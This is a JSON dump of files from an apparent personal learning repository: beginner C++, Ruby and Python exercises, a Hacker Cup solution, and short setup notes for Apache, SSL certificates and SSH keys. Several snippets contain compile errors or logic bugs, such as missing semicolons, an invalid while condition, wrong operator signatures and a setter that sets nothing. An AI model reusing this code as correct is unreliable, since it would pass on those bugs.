endl;\n\t}\n\tcatch(int e)\n\t{\n\t\tcout << e << \" donuts and no milk\" << endl;\n\t}\n\t\n\treturn 0;\n}\n" }, { "alpha_fraction": 0.6362053751945496, "alphanum_fraction": 0.6396867036819458, "avg_line_length": 14.039473533630371, "blob_id": "b6895e920f55d381603ad8e050d792a6ddf7ec60", "content_id": "904482ffb8b7eb520f1d41d96e5efed08572a501", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1149, "license_type": "no_license", "max_line_length": 78, "num_lines": 76, "path": "/c++/C++ Basics/40CustonCatches.cpp", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include <iostream>\n#include <string>\nusing namespace std;\n\n\nclass NegativeNumber\n{\n\tpublic:\n\t\tNegativeNumber();\n\t\tNegativeNumber(string givenMessage);\n\t\tstring getMessage();\n\tprivate:\n\t\tstring message;\n};\n\n\nclass DivideByZero\n{\n};\n\n\nNegativeNumber::NegativeNumber() {}\n\nNegativeNumber::NegativeNumber(string givenMessage) : message(givenMessage) {}\n\nstring NegativeNumber::getMessage()\n{\n\treturn message;\n}\n\n\nint main()\n{\n\tint jemHadar, klingons;\n\tdouble portion;\n\t\n\ttry\n\t{\n\t\tcout << \"Enter the number of Jen Hadar Warriors: \" << endl;\n\t\tcin >> jemHadar;\n\t\tif(jemHadar < 0)\n\t\t{\n\t\t\tthrow NegativeNumber(\"Jem Hadar\");\n\t\t}\n\t\t\n\t\tcout << \"How many Klingon Warriors do you have? \" << endl;\n\t\tcin >> klingons;\n\t\tif(klingons < 0)\n\t\t{\n\t\t\tthrow NegativeNumber(\"Klingons\");\n\t\t}\n\t\t\n\t\tif(klingons != 0)\n\t\t{\n\t\t\tportion = jemHadar/double(klingons);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tthrow DivideByZero();\n\t\t}\n\t\t\n\t\tcout << \"Each Klingon must fight \" << portion << \" Jem Hadar\" << endl;\n\t}\n\tcatch(NegativeNumber e)\n\t{\n\t\tcout << \"Negative number bro \" << e.getMessage() << endl;\n\t}\t\n\tcatch(DivideByZero)\n\t{\n\t\tcout << \"RIP bro\" << endl;\n\t}\n\t\t\n\t\n\treturn 0;\n}\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.5072933435440063, "alphanum_fraction": 0.6029173135757446, "avg_line_length": 10.218181610107422, "blob_id": "72195d156a27579e72f7c652e00ec5368b6f2fbc", "content_id": "44574c5e68956897fbc693e90a5fb792052f43ff", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 617, "license_type": "no_license", "max_line_length": 47, "num_lines": 55, "path": "/c++/C++ Basics/11Structs.cpp", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "#include <stdio.h>\nusing namespace std;\n\nstruct myStruct\n{\n\tdouble v1;\n\tdouble v2;\n\tint v3;\n};\n\nmyStruct testfcn(double v1, double v2, int v3);\n\nint main()\n{\n\tmyStruct test;\n\n\tdouble t1, t2;\n\tint t3;\n\n\n\ttest.v1 = 5.5;\n\ttest.v2 = 3.14;\n \ttest.v3 = 2;\n\n\tt1 = test.v1;\n\tt2 = test.v2;\n\tt3 = test.v3;\n\n\tcout << t1 << t2 << t3 << endl;\n\n\n\tmyStruct test2;\n\ttest2 = testfcn(5.6, 2.732, 11);\n\n\tcout << test2 << endl;\n\n\n\t// initialize a struct\n\n\tmyStruct test3 = {1.414, 3.161, 42};\n\n\n\treturn 0;\n}\n\nmyStruct testfcn(double v1, double v2, int v3)\n{\n\tmyStruct temp;\n\n\ttemp.v1 = v1;\n\ttemp.v2 = v2;\n\ttemp.v3 = v3;\n\n\treturn temp;\n}\n" }, { "alpha_fraction": 0.5389407873153687, "alphanum_fraction": 0.545171320438385, "avg_line_length": 12.375, "blob_id": "81f8dea47c17200db5cf485b7e25cc5cdd15c1c6", "content_id": "610d1951f1d218894495bf2104a0cbc57c2bc63b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 321, "license_type": "no_license", "max_line_length": 42, "num_lines": 24, "path": "/c++/C++ Basics/05WhileLoops.cpp", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "#include <stdio.h>\nusing namespace std;\n\nint main()\n{\n\twhile(int countdown > 0)\n\t{\n\t\tcout << countdown << endl;\n\t\tcountdown--;\n\t}\n\n\tchar answer;\n\n\tdo\n\t{\n\t\tcout << \"Ask someone something \\n\"\n\t\t << \"Press y for yes n for no \\n\"\n\t\t << endl;\n\t\tcin >> answer;\n\t} while (answer == 'y' || answer == 'Y');\n\n\n\treturn 0;\n}\n" }, { "alpha_fraction": 0.5119825601577759, "alphanum_fraction": 0.5599128603935242, "avg_line_length": 12.5, "blob_id": "8adb3d56333743748dbba0e32cd6546c90e637fb", "content_id": "7a69f2c8ab8c6d65475124e493e2ef63f861d19a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 459, "license_type": "no_license", "max_line_length": 39, "num_lines": 34, "path": "/c++/C++ Basics/03Math.cpp", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "#include <stdio.h>\nusing namespace std;\n\nint main()\n{\n\tint v1, v2, v3, v4, calc;\n\n\tv1 = 2;\n\tv2 = 2.4\n\tv3 = 10;\n\tv4 = 7;\n\n\tcalc = (v1 + v1)/(v3 * v4);\t// do math\n\n\tcout << (calc % 2) << endl;\n\tcout << double(v1)/v2 << endl;\n\n\t/*\n\n\tBuilt in functions\n\n\t#include <math.h>\n\n\t- sqrt // square root\n\t- pow\t// power\n\t- abs\t// absolute value\n\t- labs\t// long absolute value\n\t- fabs\t// double absolute value\n\t- ceil\t// round up\n\t- floor\t// round down\n\t*/\n\n\treturn 0;\n}\n" }, { "alpha_fraction": 0.40232107043266296, "alphanum_fraction": 0.43326884508132935, "avg_line_length": 27.77777862548828, "blob_id": "ee87c9fb09fccda8bcf8b3f4ea31719d8853041c", "content_id": "6920734d96bea68381bc84705070e59d0a1915b1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 517, "license_type": "no_license", "max_line_length": 56, "num_lines": 18, "path": "/random/KaratsubaMultiplication.py", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "def multiply(x, y):\n if x.bit_length() <= 1536 or y.bit_length() <= 1536:\n return x * y;\n else:\n n = max(x.bit_length(), y.bit_length())\n half = (n + 32) / 64 * 32\n mask = (1 << half) - 1\n xlow = x & mask\n ylow = y & mask\n xhigh = x >> half\n yhigh = y >> half\n\n a = multiply(xhigh, yhigh)\n b = multiply(xlow + xhigh, ylow + yhigh)\n c = multiply(xlow, ylow)\n d = b - a - c\n\n return (((a << half) + d) << half) + c" }, { "alpha_fraction": 0.6206896305084229, "alphanum_fraction": 0.6896551847457886, "avg_line_length": 13.5, "blob_id": "497dcde280e3b2ce0205ab5cf060f70c83c6e577", "content_id": "1b75eaff7b4c46141ab254225ef44a4e555e7a9c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Ruby", "length_bytes": 29, "license_type": "no_license", "max_line_length": 20, "num_lines": 2, "path": "/ruby/The Hard Way/01HelloWorld.rb", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "puts \"Hello, World!\"\nputs 42\n" }, { "alpha_fraction": 0.5428571701049805, "alphanum_fraction": 0.6714285612106323, "avg_line_length": 13, "blob_id": "6aff780cf4039e1696ab82ae007561211d662bf8", "content_id": "1e77a08dcea649cceacab630a353f2daa3a53aae", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Ruby", "length_bytes": 70, "license_type": "no_license", "max_line_length": 20, "num_lines": 5, "path": "/ruby/01Basics.rb", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "puts \"Hello, World!\"\nputs 3+5\nputs 4*3.14\nputs [].type\nputs 1.11.type\n" }, { "alpha_fraction": 0.6812933087348938, "alphanum_fraction": 0.6812933087348938, "avg_line_length": 15.037036895751953, "blob_id": "007996bec315faf8740c98233ca814503e039cbe", "content_id": "7c0b5bb348e4f0f99e86881ae07a9111b24dda58", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 433, "license_type": "no_license", "max_line_length": 45, "num_lines": 27, "path": "/c++/C++ Basics/33BasicInheritance.h", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "#ifndef EMPLOYEE_H\n#define EMPLOYEE_H\n\n#include <string>\nusing namespace std;\n\nnamespace myEmployees\n{\n\tclass Employee;\n\t{\n\t\tpublic:\n\t\t\tEmployee();\n\t\t\tEmployee(string new_name, string new_sin);\n\t\t\tstring getName();\n\t\t\tstring getSIN();\n\t\t\tvoid changeName(string new_name);\n\t\t\tvoid changeSIN(string new_sin);\n\t\t\tvoid printPay();\n\t\t\tvoid getRaise(double amount);\n\t\tprotected:\n\t\t\tstring name;\n\t\t\tstring sin;\n\t\t\tdouble pay;\n\t};\n}\n\n#endif\n" }, { "alpha_fraction": 0.40495866537094116, "alphanum_fraction": 0.4483471214771271, "avg_line_length": 14.125, "blob_id": "c9ca846b7843ce0aa4dc8f2b6e811ed15b25aed2", "content_id": "8b706a66fa325185ca55c41d061bd0a211ef1689", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 484, "license_type": "no_license", "max_line_length": 56, "num_lines": 32, "path": "/c++/C++ Basics/28Templates.cpp", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include <iostream>\nusing namespace std;\n\n\ntemplate <class T>\nvoid swap(T& a, T& b)\n{\n\tT temp;\n\n\ttemp = a;\n\ta = b;\n\tb = temp;\n}\n\n\nint main()\n{\n\tint v1 = 23, v2 = 42;\n\n\tcout << \"Original :\" << v1 << \"|\" << v2 << endl;\n\tswap(v1, v2);\n\tcout << \"Swapped :\" << v1 << \"|\" << v2 << endl;\n\n char s1 = 'a', s2 = 'b';\n\n cout << \"Original :\" << s1 << \"|\" << s2 << endl;\n swap(s1, s2);\n cout << \"Swapped :\" << s1 << \"|\" << s2 << endl;\n\n\treturn 0;\n}\n" }, { "alpha_fraction": 0.6115702390670776, "alphanum_fraction": 0.6198347210884094, "avg_line_length": 16.285715103149414, "blob_id": "5bf9f1291cf7030afae659ab9d1e53b8246faa44", "content_id": "6ab3013a2e609ea8f834414b41f8b6c3dea1a07b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Ruby", "length_bytes": 121, "license_type": "no_license", "max_line_length": 32, "num_lines": 7, "path": "/ruby/The Hard Way/07ARGV.rb", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "first, second, third = ARGV\n\nprint \"Script is called #{$0}\\n\"\n\nprint first + \"\\n\"\nprint second + \"\\n\"\nprint third + \"\\n\"\n" }, { "alpha_fraction": 0.662813127040863, "alphanum_fraction": 0.662813127040863, "avg_line_length": 13.054054260253906, "blob_id": "490d4bde4f9a3fcbcb6ca36b81b24c13978141ad", "content_id": "e5de0bf71eddf5cdfbfb55f0dfb2bd9544d8fac4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 523, "license_type": "no_license", "max_line_length": 51, "num_lines": 37, "path": "/documentation/Web/Installing Apache on CentOS.md", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "# Installing Apache on CentOS\n\n\n## HTTPD\n\n```\n$ yum install httpd\n$ yum install mysql mysql-server\n$ yum install php php-mysql\n```\n\n## Enabling `mod_rewrite`\n\n- Open ` /etc/httpd/conf/httpd.conf`\n- Scroll down to ` <Directory “/var/www/html”>`\n- Change `AllowOveride None` to `AllowOveride All`\n\n\n## Starting the services\n\n```\n$ service httpd start\n$ service mysqld start\n```\n\n```\n$ ntsysv\n```\n\n- Check `httpd` and `mysqld` and press OK\n\n\n## Setting up mysql\n\n```\n$ /usr/bin/mysqladmin -u root password 'new-password'\n```" }, { "alpha_fraction": 0.5810055732727051, "alphanum_fraction": 0.5810055732727051, "avg_line_length": 15.272727012634277, "blob_id": "667cb26e62a6d48ccc3609733a66b83f0dba494c", "content_id": "033645a1d0633c5fff43044fbe5609ac60ed4f37", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 179, "license_type": "no_license", "max_line_length": 35, "num_lines": 11, "path": "/python/DictionaryToObject.py", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "class DictObject(dict):\n\n def __getattr__(self, k):\n return self[k]\n\n def __setattr__(self, k, v):\n return self[k]\n\n\nobj = DictObject({'key' : 'value'})\nprint obj.key\n" }, { "alpha_fraction": 0.6820276379585266, "alphanum_fraction": 0.6927803158760071, "avg_line_length": 13.355555534362793, "blob_id": "03eabc60e473e3203c43a52a915d7ecbe92b9963", "content_id": "d8d04e578bd593aea2c2d25282612e7645aa7533", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 651, "license_type": "no_license", "max_line_length": 87, "num_lines": 45, "path": "/c++/C++ Basics/34Constructors.cpp", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "\n// This is a basic non working example of how rationalization works\n\nclass Rational\n{\n\tpublic:\n\t\tRational();\n\t\tRational(int wholeNumber);\n\t\tRational(int numerator, int denominator);\n\tprivate:\n\t\tint top;\n\t\tint bottom;\n};\n\n\n// Ways to __construct \n\nRational::Rational() : top(4), bottom(2)\n{\n\t// whatever\n}\n\n\nRational::Rational(int wholeNumber): top(wholeNumber), bottom(42)\n{\n\t// whatever\n}\n\n\nRational::Rational(int numerator, int denominator): top(numerator), bottom(denominator)\n{\n\t// whatever\n}\n\n\nRational::Rational(int wholeNumber): top(wholeNumber)\n{\n\tbottom = 42;\n}\n\n\nRational::Rational(int wholeNumber)\n{\n\ttop = wholeNumber;\n\tbottom = 2;\n}\n\n\n\n\n" }, { "alpha_fraction": 0.5040650367736816, "alphanum_fraction": 0.5230352282524109, "avg_line_length": 12.178571701049805, "blob_id": "cad6f3f4ea6f2d5ed6bd4a04f5f9f94ac4a8f524", "content_id": "676cef3ed356065e7aca062ab11ed70c4bd22c86", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 369, "license_type": "no_license", "max_line_length": 38, "num_lines": 28, "path": "/c++/C++ Basics/14SwitchStatement.cpp", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include <iostream>\nusing namespace std;\n\nint main()\n{\n\tchar grade;\n\t\n\tcout << \"Enter your grade: \" << endl;\n\tcin >> grade;\n\t\n\tswitch(grade)\n\t{\n\t\tcase 'A':\n\t\t\tcout << \"80+\" << endl;\n\t\t\tbreak;\n\t\tcase 'B':\n\t\t\tcout << \"70+\" << endl;\n\t\t\tbreak;\n\t\tcase 'c':\n\t\t\tcout << \"50+\" << endl;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tcout << \"You failed\" << endl;\n\t}\n\t\n\treturn 0;\n}\n" }, { "alpha_fraction": 0.7910245060920715, "alphanum_fraction": 0.7969174981117249, "avg_line_length": 72.53333282470703, "blob_id": "ec1882319bc167282f50f0b6719b283abab57ab4", "content_id": "d803c3796b5eeeb1f26c86887e15924d8dac6c0f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 4416, "license_type": "no_license", "max_line_length": 462, "num_lines": 60, "path": "/documentation/install/installing-ssl-certificate.md", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "## Install SSL Certificate\n\n### http://infoheap.com/setup-ssl-for-your-site-on-ubuntu-linux/\n\n\nHere are the steps to setup the certificate (Positive SSL certificate for one domain):\n\nFirst generate a certificate signing request (CSR). For apache2 use openssl as shown below:\nopenssl req -nodes -newkey rsa:2048 -keyout myserver.key -out server.csr\nIt will ask you following details:\n\nCountry Name (2 letter code) [AU]:\nState or Province Name (full name) [Some-State]:\nLocality Name (eg, city) []:\nOrganization Name (eg, company) [Internet Widgits Pty Ltd]:\nOrganizational Unit Name (eg, section) []:\nCommon Name (eg, YOUR name) []:\nEmail Address []:\n\nPlease enter the following 'extra' attributes\nto be sent with your certificate request\nA challenge password []:\nAn optional company name []:\nFor common name if you are requesting a domain specific certificate, then enter the FQDN (fully qualified domain name) here. e.g. apps.infoheap.com. For A challenge password, enter anything and make sure you make a note of it.\nIt will generate server.csr and myserver.key files. File myserver.key contains your private key should never be shared with anyone. File server.csr contains certificate request details and will be needed later.\n\nGoto SSL list page in myaccount on Namecheap.com and click on activate now for the certificate you bought.\nnamecheap-my-certificate-list\nKeep the CSR (from file server.csr) handy. When you click Activate now, you will see the following screen. Select Apache + OpenSSL and and enter CSR value in the appropriate box. This is assuming you are using Apache2 and OpenSSL.\nnamecheap-digital-certificate-order-form-screen-1\nNext screen you will be asked to select approver email as shown below.\nnamecheap-digital-certificate-order-form-screen-2This is to ensure that you have access to domain owner’s email address. In case your domain registration info is public, then domain owner’s public email from whois record will be shown as an option. You can select that. Otherwise you may have to select postmaster@domainname.com. Whoever is providing you private registration, will provide you an option to forward all emails received on postmaster@ address.\nNext screen will be a confirmation screen as shown below:\nnamecheap-digital-certificate-order-form-screen-3\nIf everything goes fine, you will see a congratulations message and following screen describing the process summary and what are the next steps.\nnamecheap-digital-certificate-order-process-summaryThe only step left is for Approver to approve the request.\nYou get the email which will look like this:\ncomodo-certificate-validation-emailTo approve click on the link provided and enter the validation code as described in the email.\nOnce approver approves the request, the domain owner will get an email containing certificate files in zip format.\nAttached to this email you should find a .zip file containing:\n - Root CA Certificate - AddTrustExternalCARoot.crt\n - Intermediate CA Certificate - PositiveSSLCA2.crt\n - Your PositiveSSL Certificate - apps_infoheap_com.crt\nThe .crt file is your certificate and and myserver.key file generated above is your private file. Copy these to ssl-cert-my.pem (public certificate) and ssl-cert-my.key (private key) and move to the Ubuntu Linux server with Apache2 installed.\n\nNext step is to configure apache and enable ssl. Run these commands:\nsudo a2enmod ssl\nsudo a2ensite default-ssl\nEdit /etc/apache2/sites-enabled/default-ssl. Copy the section within <VirtualHost *:443> and create one more section for the site you obtained the certificate. Create appropriate entries for ServerName etc. e.g.\nServerName apps.infoheap.com\nDocumentRoot /path/to/your/document/root\nAnd copy File ssl-cert-my.pem to /etc/sss/certs/ directory and sss-cert-my.key to /etc/sss/private/ directory. Make sure that /etc/ssl/private/ssl-cert-my.key permissions are 640 and is in group ssl-cert.\n\nsudo chmod 640 /etc/ssl/private/ssl-cert-my.key\nsudo chown root:ssl-cert /etc/ssl/private/ssl-cert-my.key\nPoint SSLCertificateFile and SSLCertificateKeyFile to correct entries as shown below (change the file path values):\n\nSSLCertificateFile /etc/ssl/certs/ssl-cert-my.pem\nSSLCertificateKeyFile /etc/ssl/private/ssl-cert-my.key\nNow restart Apache2 using sudo service apache2 restart and access your server on https. e.g. https://apps.infoheap.com/. If everything is fine, then no ssl warning should come.\n" }, { "alpha_fraction": 0.6243094205856323, "alphanum_fraction": 0.6243094205856323, "avg_line_length": 12.923076629638672, "blob_id": "6976bb74d315b9713d3feaab5a8670af1813344d", "content_id": "a501ad16b4ac377a371544f4e927782d6f246935", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 181, "license_type": "no_license", "max_line_length": 45, "num_lines": 13, "path": "/documentation/Web/Adding your SSH key to GitHub.md", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "# Adding your SSH key to GitHub\n\n\n## Generating the Key\n\n```\n$ cd ~/.ssh\n$ ssh-keygen -t rsa -C \"hi@kartikt.com\"\n```\n\n## Adding it to GitHub\n\n- Copy the contents of `id_rsa.pub` to GitHub\n" }, { "alpha_fraction": 0.6164079904556274, "alphanum_fraction": 0.6274944543838501, "avg_line_length": 12.264705657958984, "blob_id": "a259c6d1e4382c83f04b5eed341e4fe5e957c615", "content_id": "13487f2da84d208dbc54dca63c948993a7e44ef9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 451, "license_type": "no_license", "max_line_length": 32, "num_lines": 34, "path": "/c++/C++ Basics/31Nodes.cpp", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include <iostream>\n#include <cstdlib>\n#include <string>\n#include <cstring>\n#include <cctype>\nusing namespace std;\n\n\nstruct Box\n{\n\tchar name[10];\n\tint number;\n\tBox *next;\n};\n\n\ntypedef Box* BoxPtr;\n\nint main()\n{\n\tBoxPtr head;\n\n\thead = new Box;\n\tstrcpy(head->name, \"FedEx\");\n\thead->number = 42;\n\n\tcout << (*head).name << endl;\n\tcout << head->name << endl;\n\tcout << (*head).number << endl;\n\tcout << head->number << endl;\n\n\treturn 0;\n}\n" }, { "alpha_fraction": 0.7070595026016235, "alphanum_fraction": 0.7376320362091064, "avg_line_length": 47.621620178222656, "blob_id": "793f4e44bdd82a33609eb86d9ce910e9a380e88c", "content_id": "629360c89494bbd1b152cb530d258c1e549e902f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1799, "license_type": "no_license", "max_line_length": 142, "num_lines": 37, "path": "/random/contests/Facebook HackerCup/FBHackerCupAlphabetSoup.py", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "'''\nFacebook Hacker Cup 2012 Qualification Round\n\nAlphabet Soup\nAlfredo Spaghetti really likes soup, especially when it contains alphabet pasta. Every day he constructs\na sentence from letters, places the letters into a bowl of broth and enjoys delicious alphabet soup.\n\nToday, after constructing the sentence, Alfredo remembered that the Facebook Hacker Cup starts today! \nThus, he decided to construct the phrase \"HACKERCUP\". As he already added the letters to the broth, \nhe is stuck with the letters he originally selected. Help Alfredo determine how many times he can place\nthe word \"HACKERCUP\" side-by-side using the letters in his soup.\n\nInput\nThe first line of the input file contains a single integer T: the number of test cases. T lines follow,\neach representing a single test case with a sequence of upper-case letters and spaces: the original \nsentence Alfredo constructed.\n\nOutput\nOutput T lines, one for each test case. For each case, output \"Case #t: n\", where t is the test case \nnumber (starting from 1) and n is the number of times the word \"HACKERCUP\" can be placed side-by-side \nusing the letters from the sentence.\n\nConstraints\n1 < T <= 20\nSentences contain only the upper-case letters A-Z and the space character\nEach sentence contains at least one letter, and contains at most 1000 characters, including spaces\n'''\n\nimport urllib\ndef parse(string):\n\td = {'H' : 0, 'A' : 0, 'C' : 0, 'K' : 0, 'E' : 0, 'R' : 0, 'U' : 0, 'P' : 0}\n\td.update({s: string.count(s) for s in string if s in d})\n\td['C'] /= 2\n\treturn min(d.values())\n\nfile = urllib.urlopen(\"https://raw.github.com/gist/1651354/67521ff0ac3332ca68713dfcd474a431c2d6c427/AlphabetSoupInput.txt\").read().split('\\n')\nopen('output.txt', 'w').write( \"\\n\".join( [(\"Case #%d: %d\" % (i, parse(file[i]))) for i in range(1, len(file))]))\n" }, { "alpha_fraction": 0.6142857074737549, "alphanum_fraction": 0.631428599357605, "avg_line_length": 16.213115692138672, "blob_id": "0622f6fdb2141d96229ed3ba40b09fe20acf28fb", "content_id": "c92f98eeeacec3d04845afbfaf9842b30455b83b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1050, "license_type": "no_license", "max_line_length": 64, "num_lines": 61, "path": "/c++/C++ Basics/15ClassOperator.cpp", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include <cstdlib>\n#include <cctype>\n#include <iostream>\nusing namespace std;\n\nclass Money\n{\n\tpublic:\n\t\tfriend Money operator +(const Money& amt1, const Money& amt2);\n\t\tfriend bool operator ==(const Money& amt1, const Money& amt2);\n\t\t\n\t\tMoney(long dollars, int cents);\n\t\tMoney(long dollars);\n\t\tMoney();\n\t\t\n\t\tdouble get_value() const;\n\t\tvoid input(istream& ins);\n\t\tvoid output(ostream* outs) const;\n\t\tlong all_cents;\n};\n\nint main()\n{\n\tMoney cost(i,50), tax(0, 15), total;\n\ttotal = cost + tax;\n\t\n\tcout << \"cost = \";\n\tcost.output(cout);\n\tcout << endl;\n\tcout << \"tax = \";\n\ttax.output(cout);\n\tcout << endl;\n\tcout << \"total bill = \";\n\ttotal.output(cout);\n\tcout << endl;\n\t\n\tif(cost == tax)\n\t{\n\t\tcout << \"Move to another state.\" << endl;\n\t}\n\telse\n\t{\n\t\tcout << \"Cool\" << endl;\n\t}\n\t\n\treturn 0;\n}\n\nMoney operator +(const Money& amt1, const Money&, amt2)\n{\n\tMoney temp;\n\ttemp.all_cents = amt1.all_cents + amt2.all_cents;\n\n\treturn temp;\n}\n\nMoney operator ==(const Money& amt1, const Money& amt2)\n{\n\treturn (amt1.all_cents == amt2.all_cents);\n}\n" }, { "alpha_fraction": 0.6318181753158569, "alphanum_fraction": 0.6590909361839294, "avg_line_length": 14.642857551574707, "blob_id": "ef726b42857fe023abc25944d1bbad3a6850b3c0", "content_id": "c9a415b14eee434c4cfc2cf6413852c46141b455", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Ruby", "length_bytes": 220, "license_type": "no_license", "max_line_length": 31, "num_lines": 14, "path": "/ruby/The Hard Way/11IfElse.rb", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "people = 23\ncats = 42\ndogs = 13\n\nif people < cats\n puts 'more cats than people'\n diff = cats - people\n #people += diff\n #puts people, cats\nelsif people < dogs\n puts 'more dogs than people'\nelse\n puts 'dunno'\nend\n\n" }, { "alpha_fraction": 0.5864022374153137, "alphanum_fraction": 0.6118980050086975, "avg_line_length": 15.809523582458496, "blob_id": "ea5d92d5cef77150d83abf8ee2f2803043397419", "content_id": "42dbdb5125584bd54e1b18ab4112cba6c950287e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Ruby", "length_bytes": 353, "license_type": "no_license", "max_line_length": 75, "num_lines": 21, "path": "/ruby/Eloquent Ruby/4SmartCollections.rb", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "poem_words = ['twinkle', 'twinkle', 'little', 'star', 'how', 'I', 'wonder']\n#or\npoem_words = %w{twinke twinke little star how I wonder}\n\n\n# args zip\n\ndef echo_all(*args)\n args.each {|x| puts x}\nend\n\nmovie = {:title => '2001', :genre => 'sci fi', :rating => 10}\n\n# In place reversal/assertion\n\na = [1,2,3]\nputs a.reverse\nputs a\n\na = a.reverse!\nputs a\n" }, { "alpha_fraction": 0.5978260636329651, "alphanum_fraction": 0.5993788838386536, "avg_line_length": 16.405405044555664, "blob_id": "aa41d430b10e8f0015741a8b20a8db53c6da4a51", "content_id": "adf6cfe5511a41b98db5e1e6ac3c750019cc0aef", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 644, "license_type": "no_license", "max_line_length": 57, "num_lines": 37, "path": "/c++/C++ Basics/12Classes1.cpp", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "#include <iostream.h>\n#include <stdio.h>\nusing namespace std;\n\nclass DayOfYear\n{\n\tpublic:\n\t\tvoid output();\n\t\tint month;\n\t\tint day;\n};\n\nint main()\n{\n\tDayOfYear today, birthday;\n\n\tcout << \"enter this month's number\" << endl;\n\tcin >> today.month;\n\tcout << \"enter today's date\" << endl;\n\tcin >> today.day;\n\tcout << \"enter your birth month\" << endl;\n\tcin >> birthday.month;\n\tcout << \"enter your birth day\" << endl;\n\tcin >> birthday.day;\n\n\tcout << \"todays date is \"\n\t << today.output();\n\tcout << \"your birthday is \"\n\t << birthday.output();\n\n\treturn 0;\n}\n\nvoid DayOfYear::output()\n{\n\tcout << \"month = \" << month << \" day = \" << day << endl;\n}\n" }, { "alpha_fraction": 0.6113445162773132, "alphanum_fraction": 0.6113445162773132, "avg_line_length": 3.4485981464385986, "blob_id": "789cb1d64daa9cffa4da6e868a3e886185f762c3", "content_id": "40d6becf2bcc2c69ccb928dd970a3f8dfd27f6b2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Ruby", "length_bytes": 476, "license_type": "no_license", "max_line_length": 17, "num_lines": 107, "path": "/ruby/The Hard Way/14ReservedWords.rb", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "=begin\n\n\nKeywords:\n\nalias\nand\nBEGIN\nbegin\nbreak\ncase\nclass\ndef\ndefined?\ndo\nelse\nelsif\nEND\nend\nensure\nfalse\nfor\nif\nin\nmodule\nnext\nnil\nnot\nor\nredo\nrescue\nretry\nreturn\nself\nsuper\nthen\ntrue\nundef\nunless\nuntil\nwhen\nwhile\nyield\n\n\nData Types:\n\ntrue\nfalse\nnil\nconstants\nstrings\nnumbers\nranges\narrays\nhashes\n\n\nString Sequences:\n\n\\\\\n\\'\n\\\"\n\\a\n\\b\n\\f\n\\n\n\\r\n\\t\n\\v\n\n\nOperators\n\n::\n[]\n**\n-(unary)\n+(unary)\n!\n~\n*\n/\n%\n+\n_\n<<\n>>\n&\n|\n>\n>=\n<\n<=\n<=> # spaceship\n==\n===\n!=\n=~\n!~\n&&\n||\n..\n...\n\n\n=end\n" }, { "alpha_fraction": 0.6965226531028748, "alphanum_fraction": 0.7007375955581665, "avg_line_length": 22.14634132385254, "blob_id": "926eefc1ad337149b3009695d2c96d83d636b380", "content_id": "0c459338864254c6c577f895e5e389298fc45700", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 949, "license_type": "no_license", "max_line_length": 106, "num_lines": 41, "path": "/documentation/Web/Get Instagram Access Code.md", "repo_name": "KartikTalwar/playground", "src_encoding": "UTF-8", "text": "## Instagram Access Token\n\n\n### Step 1\n\n- Visit the API authorize URL\n- Replace `CLIENT-ID` with the client ID from your registered app\n- Replace `REDIRECT-URL` with the API redirect URL from your 